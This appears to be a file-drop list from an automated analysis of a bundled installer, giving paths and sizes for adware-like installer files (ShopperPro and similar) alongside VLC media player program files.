C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Install_26762\DCytaiesmt_smtyc_setup.exe (7726 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_18698\ins_shopperpro.exe (19175 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_18698\ins_yta.exe (42190 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_18698\ins_sense.exe (43086 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Install_4716\DCytaiesmt_smtyc_setup.exe (7726 bytes)
C:\ProgramData\ShopperPro\spbihe.js (435 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_gather_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\si\LC_MESSAGES\vlc.mo (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libtheora_plugin.dll (13368 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libyuy2_i422_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libextract_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_arrays.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\uninstall.log (326774 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_02.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\sd\fmc.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\sr\LC_MESSAGES\vlc.mo (11344 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\bbc_co_uk.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_smem_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmotionblur_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libsharpen_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\hotkeys.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\sse2\libi420_rgb_sse2_plugin.dll (5064 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libntservice_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\white.png (70 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_dirac_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libdvdread_plugin.dll (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libosdmenu_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libcc_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libcroppadd_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libi422_yuy2_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_inhibit.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\modules\common.luac (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\view.html (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libdirectx_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\speaker-32.png (942 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_picture_pool.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libps_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_es_out.h (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\AUTHORS.txt (13 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\mpora.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ast\LC_MESSAGES\vlc.mo (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_events.h (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media_list_player.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\art\01_googleimage.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_picture_fifo.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libglwin32_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_ts_plugin.dll (5064 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\play_pause.png (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\stop.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libcvdsub_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\modules\httprequests.luac (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\axvlc.dll.manifest (294 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\is\LC_MESSAGES\vlc.mo (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libgradient_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ps\LC_MESSAGES\vlc.mo (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\vlc.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\el\LC_MESSAGES\vlc.mo (28288 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_mixer\libfixed32_mixer_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\sse2\libi420_yuy2_sse2_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libcolorthres_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_dummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\3dnow\libmemcpy3dn_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\be\LC_MESSAGES\vlc.mo (25776 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libripple_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\browse.xml (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_228ef1_256x240.png (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ka\LC_MESSAGES\vlc.mo (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mpegvideo_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_filter\libstream_filter_dash_plugin.dll (24832 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libsubsdec_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\pl\LC_MESSAGES\vlc.mo (20624 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmp4_plugin.dll (7192 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\minus.png (109 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libatmo_plugin.dll (6584 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libvc1_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\sv\LC_MESSAGES\vlc.mo (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\loop.png (101 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_main.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\volume_down.png (108 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libvcd_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libmpeg_audio_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\en_GB\LC_MESSAGES\vlc.mo (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libzip_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmirror_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_ef8c08_256x240.png (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_threads.h (15 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libaes3_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libsdp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libdts_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\fa\LC_MESSAGES\vlc.mo (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\Back-48.png (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\vlc.exe (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\youtube.luac (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_config.h (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libdshow_plugin.dll (8184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdB04D.tmp\LangDLL.dll (13 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_asf_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_services_discovery.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libvorbis_plugin.dll (49631 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\tl\LC_MESSAGES\vlc.mo (461 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\anevia_streams.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\gd\LC_MESSAGES\vlc.mo (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_10.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mmx\libi420_rgb_mmx_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\status.json (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlc.dll.a (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\metacafe.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libwingdi_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\liblive555_plugin.dll (22552 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\esc.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_07.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\main (8 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libsimple_channel_mixer_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_dummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ku\LC_MESSAGES\vlc.mo (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libupnp_plugin.dll (10136 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media_discoverer.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libtransform_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\reset.png (134 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\liblpcm_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\it\LC_MESSAGES\vlc.mo (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_probe.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libdolby_surround_decoder_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\liblibass_plugin.dll (58402 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_xml.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_imem_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\librawaud_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_filter\libstream_filter_record_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libgrain_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\npvlc.dll (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\telnet.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\speaker_mute.png (328 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\sd\freebox.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_mouse.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\fw.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_common.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlccore.la (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\play.png (102 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_opengl.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ca\LC_MESSAGES\vlc.mo (7192 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\js\functions.js (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libmono_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_autodel_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\france2.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libwave_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\mobile_browse.html (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libscene_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libquicktime_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\empty.png (120 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_demux.h (8 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\tr\LC_MESSAGES\vlc.mo (20416 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_structures.h (2 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\VLC media player skinned.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libmpgatofixed32_plugin.dll (5064 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_output\libadummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\art\03_lastfm.luac (1 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\VLC media player.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libcrystalhd_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libdrawable_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libty_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\jquery.jstree.js (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\librawvideo_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libclone_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\luac.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libhotkeys_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\VideoLAN Website.url (50 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_picture.h (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libsubsusf_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libdemux_cdg_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\am\LC_MESSAGES\vlc.mo (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libspatializer_plugin.dll (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libes_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\km\LC_MESSAGES\vlc.mo (27504 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\te\LC_MESSAGES\vlc.mo (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmjpeg_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlccore.dll.a (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\README.txt (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\delete.png (124 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\googlevideo.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_vout_display.h (14 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\Folder-48.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\volume.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libpuzzle_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\vlc16x16.png (606 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\cue.luac (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\plus.png (114 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\liberase_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_gcrypt.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\sse2\libi422_yuy2_sse2_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\bg\LC_MESSAGES\vlc.mo (23424 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\joox.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\hi\LC_MESSAGES\vlc.mo (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\visualization\libprojectm_plugin.dll (42762 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libinvert_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\mn\LC_MESSAGES\vlc.mo (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_03.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\meta_engine\libtaglib_plugin.dll (36698 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libosd_parser_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\oc\LC_MESSAGES\vlc.mo (5064 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmpgv_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_04.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_record_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mmx\libmemcpymmx_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_input_item.h (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_avi_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\create_stream.html (14 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_01.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libstats_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libpng_plugin.dll (6584 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ga\LC_MESSAGES\vlc.mo (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\fonts\FreeSansBold.ttf (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libalphamask_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libball_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\bw.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\Video-48.png (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_vout_osd.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\playlist_small.png (84 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libsubsdelay_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libasf_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libdtstospdif_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\input (9 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_smb_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\batch_window.html (857 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_media_library.h (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\help.png (105 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\js\vlm.js (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\error_window.html (482 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_output\libwaveout_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libdemux_stl_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_highlight-soft_100_eeeeee_1x100.png (88 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_08.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\main.css (3 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\Reset VLC media player preferences and cache files.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_version.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_spu.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\activex\test.html (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_udp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_mosaic_bridge_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libequalizer_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libconverter_fixed_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\anevia_xml.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\vlc.exe.manifest (825 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_messages.h (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\ui.js (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_h264_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\co\LC_MESSAGES\vlc.mo (702 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libxa_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_subpicture.h (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_diagonals-thick_20_666666_40x40.png (197 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libkaraoke_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\sd\icecast.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libdirac_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libavcodec_plugin.dll (330807 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_plugin.h (16 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libpva_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_flat_10_000000_40x100.png (147 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libhqdn3d_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\style.css (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\zh_CN\LC_MESSAGES\vlc.mo (19096 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\sl\LC_MESSAGES\vlc.mo (13584 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_about.h (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libscaletempo_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libsmf_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_05.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\es\LC_MESSAGES\vlc.mo (19096 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\esc.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libcdda_plugin.dll (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\mk\LC_MESSAGES\vlc.mo (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libsamplerate_plugin.dll (41699 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_vlm.h (12 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libschroedinger_plugin.dll (36698 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libflac_plugin.dll (9608 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\custom.lua (487 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\pkgconfig\libvlc.pc (283 bytes)
%Program Files% (x86)\VideoLAN\VLC\uninstall.exe (2968 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\vlm_export.html (296 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libaudioscrobbler_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libposterize_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_display_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_avcodec.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media_library.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media.h (15 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_fs.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libyuv_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\et\LC_MESSAGES\vlc.mo (16944 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libblendbench_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libgestures_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\slow.png (102 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\fetcher\tvrage.luac (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdB04D.tmp\UAC.dll (30 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\de\LC_MESSAGES\vlc.mo (18424 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mmxext\libmemcpymmxext_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_transcode_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_222222_256x240.png (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_highlight-soft_75_ffe45c_1x100.png (126 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libsap_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libstl_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libnuv_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmosaic_plugin.dll (1856 bytes)
